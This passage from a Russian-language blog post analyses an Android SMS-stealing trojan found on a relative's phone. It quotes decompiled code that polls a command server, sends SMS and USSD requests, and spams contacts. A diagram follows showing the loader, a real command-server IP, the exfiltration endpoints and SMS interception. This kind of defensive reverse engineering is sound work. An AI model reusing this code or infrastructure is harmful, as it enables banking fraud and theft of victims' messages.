JSONObject status = new JSONObject(); status.put("screen_on", powerManager.isInteractive()); status.put("battery", batteryPct); status.put("is_sms_default", isSmsDefault()); status.put("has_sms_perm", hasSmsPerm());
Получение и выполнение команд
POIX1UVS21.java:381-402 — checkCommands():
String response = Http.m843j(context, panelUrl + "/store/order/" + params); m912m(response); // парсинг команд
POIX1UVS21.java:211-227 — m912m():
JSONObject cmd = new JSONObject(response); // Команда 1: отправить SMS if (cmd.has("phone_number") && cmd.has("sms_text")) { m914o(cmd.getString("phone_number"), cmd.getString("sms_text")); } // Команда 2: USSD-запрос if (cmd.has("ussd_code")) { m916q(cmd.getString("ussd_code")); } // Команда 3: спам по контактам if (cmd.has("spam_contacts") && cmd.has("spam_text")) { m918s(cmd.getString("spam_text")); // отправляет SMS всем контактам }
USSD-команды
POIX1UVS21.java:277-303 — m916q():
telephonyManager.sendUssdRequest(ussdCode, new TelephonyManager.UssdResponseCallback() { public void onReceiveUssdResponse(...) { m917r(ussdCode, ussdResponseMessage); // отправка ответа на сервер } }, new Handler(Looper.getMainLooper()));
Спам по контактам
POIX1UVS21.java:331-344 и POIX1UVS21.java:199:
Код
Cursor cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, ...); for (cursor) { String phone = cursor.getString(...); smsManager.sendTextMessage(phone, null, spamText, null, null); }
Ну и в конце попросим ИИ создать диаграмму с выполнением:
Диаграмма от ИИ
┌─────────────────────────────────────────┐ │ ЖЕРТВА УСТАНАВЛИВАЕТ │ │ Фото(3).apk │ └────────────┬────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 1: СТАБ-ЗАГРУЗЧИК │ │ Laed1011QFmO.attachBaseContext() │ │ ├─ Копирует DycyX.mb из assets │ │ ├─ Отрезает фейковый zlib-заголовок (2 байта) │ │ └─ Загружает payload.dex через BaseDexClassLoader │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 2: ИНИЦИАЛИЗАЦИЯ │ │ MainActivity.onCreate() │ │ ├─ Прячет приложение из Recent Apps │ │ ├─ Запрашивает роль "SMS-обработчик по умолчанию" │ │ ├─ Открывает WebView с фишинг-страницей │ │ └─ Запускает сервисы POIX1UVS20 + POIX1UVS21 │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 3: BOOTSTRAP C2 │ │ C0717c.m934c() │ │ ├─ GET http://176.124.222.81:80/cdn/nodes │ │ └─ Сохраняет список серверов в SharedPreferences │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 4: СБОР ДАННЫХ (POIX1UVS19) │ │ ├─ SMS-архив: 200 входящих + 100 исходящих │ │ ├─ Установленные банковские приложения (22 шт.) │ │ ├─ Номера телефонов с SIM-карт │ │ └─ POST /store/checkout (FenrirCrypto) │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 5: ПЕРЕХВАТ SMS (POIX1UVS16) │ │ ├─ priority=2147483647 (макс.) │ │ ├─ Перехватывает ВСЕ входящие SMS │ │ └─ POST /media/uplaad (FenrirCrypto) │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 6: C2-КОМАНДЫ (POIX1UVS21) │ │ ├─ GET /store/order/ — команды сервера │ │ ├─ Отправка SMS на указанный номер │ │ ├─ USSD-запросы (проверка баланса) │ │ ├─ Спам по контактам │ │ └─ Пинг статуса устройства │ └───────────────────────────────────────────────────┘
Заключение
Что хотелось бы сказать в конце.
Прошивать Huawei на чистую систему я не буду, потому что есть вероятность убить загрузчик (на 4pda есть инструкции, но если сделать не правильно, то телефон не запустится из-за "гибридной структуры" памяти телефона), хотя телефон папе этот больше нравится - батарейку лучше держит (логично - Google сервисов нет).
Использование ИИ очень помогает в иследовании - я оформлял статью больше по времени, чем мне OpenCode генерировал скрипты. Я выявил всё, что хотел - сервер, функции - этого мне было достаточно.
Про пароли я упомянул в самом начале, так же не забудьте поставь родственникам антивирус на смартфоны под управлением Android (хотя как мы видим, не всегда это может помочь). Надеюсь вам было интересно и если кому-то нужно, то могу выложить все файлы на Github - для исследования так сказать. Берегите себя и своих близких)
